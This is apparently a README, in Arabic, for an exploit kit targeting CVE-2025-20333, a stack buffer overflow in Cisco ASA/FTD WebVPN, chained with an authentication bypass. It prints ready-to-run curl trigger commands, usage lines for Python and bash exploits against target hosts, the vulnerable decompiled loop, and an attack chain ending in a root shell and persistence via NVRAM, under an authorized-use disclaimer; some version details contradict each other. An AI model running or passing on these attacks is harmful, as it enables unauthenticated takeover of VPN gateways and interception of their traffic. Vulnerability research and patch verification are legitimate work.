
أداة بحث واستغلال متكاملة لثغرة CVE-2025-20333، وهي تجاوز سعة المخزن المؤقت الحرج في WebVPN الخاص بـ Cisco ASA/FTD. تتضمن تحليلاً ثنائياً مفصلاً، واستغلالات إثبات المفهوم (PoC) بلغتي Python وbash، ودليلاً للاستغلال.
يحتوي هذا الدليل على بحث شامل وتحليل وكود إثبات المفهوم لثغرة CVE-2025-20333، وهي ثغرة حرجة في تجاوز سعة المخزن المؤقت في خوادم Cisco ASA/FTD WebVPN.
الحالة: ⚠️ يتم استغلالها بنشاط في البرية (حملة ArcaneDoor)
درجة CVSS: 9.8 حرجة
مصادقة: غير مطلوبة (تم تجاوزها عبر CVE-2025-20362)
التأثير: تنفيذ كود عن بُعد بصلاحيات الجذر
CVE-2025-20333-RESEARCH-NOTES.md (20 كيلوبايت)بحث هندسة عكسية كامل
النتيجة الرئيسية:
مخزن مؤقت ثابت بحجم 16 بايت (local_58[16]) في body_lexer.re2c
حلقة فك ترميز URL لا تحتوي على أي فحص للحدود
الكتابة إلى local_58[iVar11] دون التحقق من أن iVar11 < 16
بعد 8 أزواج سداسية عشرية: تجاوز ← تلف المكدس ← تنفيذ كود عن بُعد
EXPLOITATION-GUIDE.md (12 كيلوبايت)دليل استغلال عملي
cve-2025-20333-poc.py (15 كيلوبايت)استغلال Python كامل الميزات
الميزات:
الاستخدام:
# عرض تفاصيل الثغرة
python3 cve-2025-20333-poc.py --details
# استغلال الهدف
python3 cve-2025-20333-poc.py 192.168.1.100 443
# إعدادات مخصصة
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30
cve-2025-20333-poc.sh (8.5 كيلوبايت)استغلال bash خفيف الوزن
الميزات:
الاستخدام:
# عرض التفاصيل
./cve-2025-20333-poc.sh --details
# الاستغلال
./cve-2025-20333-poc.sh 192.168.1.100 443 10
# يدوي مع curl
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure
| الخاصية | القيمة |
|---|---|
| معرف CVE | CVE-2025-20333 |
| النوع | تجاوز سعة المخزن المؤقت في المكدس (CWE-120) |
| المكوّن | body_lexer.re2c (FUN_0302e690) |
| الإصدارات المتأثرة | ASA 9.16–9.23، FTD 7.0–7.7 |
| CVSS v3.1 | 9.8 (حرجة) |
| المصادقة | غير مطلوبة (عبر CVE-2025-20362) |
| تفاعل المستخدم | لا شيء |
| التأثير | تنفيذ كود عن بُعد بصلاحيات الجذر، اختراق كامل للنظام |
| الحالة | يتم استغلالها بنشاط (مايو 2025+) |
| الإفصاح المسؤول | قامت Cisco بالتصحيح؛ تم نشر الاستشارة |
// body_lexer.re2c - حلقة فك ترميز URL
byte local_58[16]; // ← مخزن مؤقت ثابت بحجم 16 بايت
while (parsing_request_body) {
byte input = *data++;
if (input == '%') {
hex_decode_mode = true;
hex_index = 0;
}
if (hex_decode_mode) {
local_58[hex_index] = input; // ← لا يوجد فحص للحدود!
hex_index++;
if (hex_index == 2) {
byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
hex_decode_mode = false;
}
}
}
مشغّل التجاوز: 9+ تسلسلات %XX متتالية في جسم POST
1. المهاجم (لا يتطلب مصادقة)
↓
2. HTTP POST إلى /+CSCOU+/../+CSCOE+/files/file_list.json
├─ CVE-2025-20362: تجاوز المسار يتجاوز فحص المصادقة
└─ يصل إلى نقطة نهاية files_retr.lua (auth_flag = 0)
↓
3. جسم POST: name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
(9+ أزواج مشفرة بعنوان URL)
↓
4. body_lexer.re2c يعالج جسم POST
├─ يراكم الأزواج السداسية العشرية في local_58[16]
└─ بعد 8 أزواج: تجاوز!
↓
5. تلف المكدس
├─ يستبدل local_48، local_40
├─ يستبدل RBP المحفوظ
└─ يستبدل RIP المحفوظ (عنوان الإرجاع)
↓
6. اختطاف تدفق التحكم
├─ يشير RIP إلى أدوات ROP
├─ سلسلة ROP تُعدّ execve()
└─ execve("/bin/sh", NULL, NULL)
↓
7. تنفيذ كود عن بُعد بصلاحيات الجذر (عملية lina تعمل كجذر)
├─ اختراق كامل لخادم VPN
├─ الوصول إلى كل حركة مرور VPN
└─ استمرارية عبر تعديل NVRAM
lina في Ghidra/+CSCOU+/../+CSCOE+/files/file_list.jsonlocal_58[16] بدون فحص للحدودالتحقق من التصريح
تشغيل الاستغلال
# فحص سريع: هل يستجيب الهدف لمحاولة الاستغلال؟
python3 cve-2025-20333-poc.py <target_ip>
# أو إصدار bash:
./cve-2025-20333-poc.sh <target_ip>
التحقق من الاستغلال
توثيق النتائج
قراءة ملاحظات البحث
CVE-2025-20333-RESEARCH-NOTES.mdدراسة أدوات PoC
التكيف والتوسيع
⚠️ إشعار قانوني
تم توفير هذه المجموعة لأغراض الاختبار الأمني المصرح به فقط.
✅ الاستخدام المصرح به:
❌ الاستخدام المحظور:
cve-2025-20333/
├── README.md (هذا الملف)
├── CVE-2025-20333-RESEARCH-NOTES.md (20 كيلوبايت، بحث شامل)
├── EXPLOITATION-GUIDE.md (12 كيلوبايت، دليل عملي)
├── cve-2025-20333-poc.py (15 كيلوبايت، PoC بلغة Python)
└── cve-2025-20333-poc.sh (8.5 كيلوبايت، PoC بلغة bash)
إجمالي التوثيق: ~65 كيلوبايت
عمق البحث: تدقيق أكثر من 50 دالة في Ghidra
النتائج المؤكدة: تم تأكيد تجاوز المخزن المؤقت في body_lexer.re2c
# اختبار ما إذا كان الهدف عرضة للاستغلال
curl -X POST https://<target>/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" \
--insecure \
-i
# إذا استجاب الهدف (200، 500، تعطل)، فقد يكون عرضة للخطر
# إذا قام الهدف بالحظر/إعادة التوجيه، فقد يكون مصححًا
# الإصدارات الضعيفة:
# - Cisco ASA 9.16 حتى 9.23
# - Cisco FTD 7.0 حتى 7.7
# استخدام SSH/وحدة التحكم للتحقق من إصدار ASA:
show version
# الإصدارات المصححة:
# - ASA 9.16.4.51، 9.18.4.31، 9.20.4.49، 9.22.4.9، 9.24.1+
# - FTD 7.0.x، 7.1.x، 7.2.x (مصححة)
تم توفير هذه المجموعة كما هي لأغراض تعليمية واختبار مصرح به فقط.
تم تطوير هذا المشروع بمساعدة Claude Code، مساعد البرمجة المدعوم بالذكاء الاصطناعي من Anthropic.
تاريخ الإنشاء: 2026-08-23
فترة البحث: 2026-08-22 إلى 2026-08-23
الحالة: مكتمل وموثق
التصنيف: تعليمي / اختبار مصرح به فقط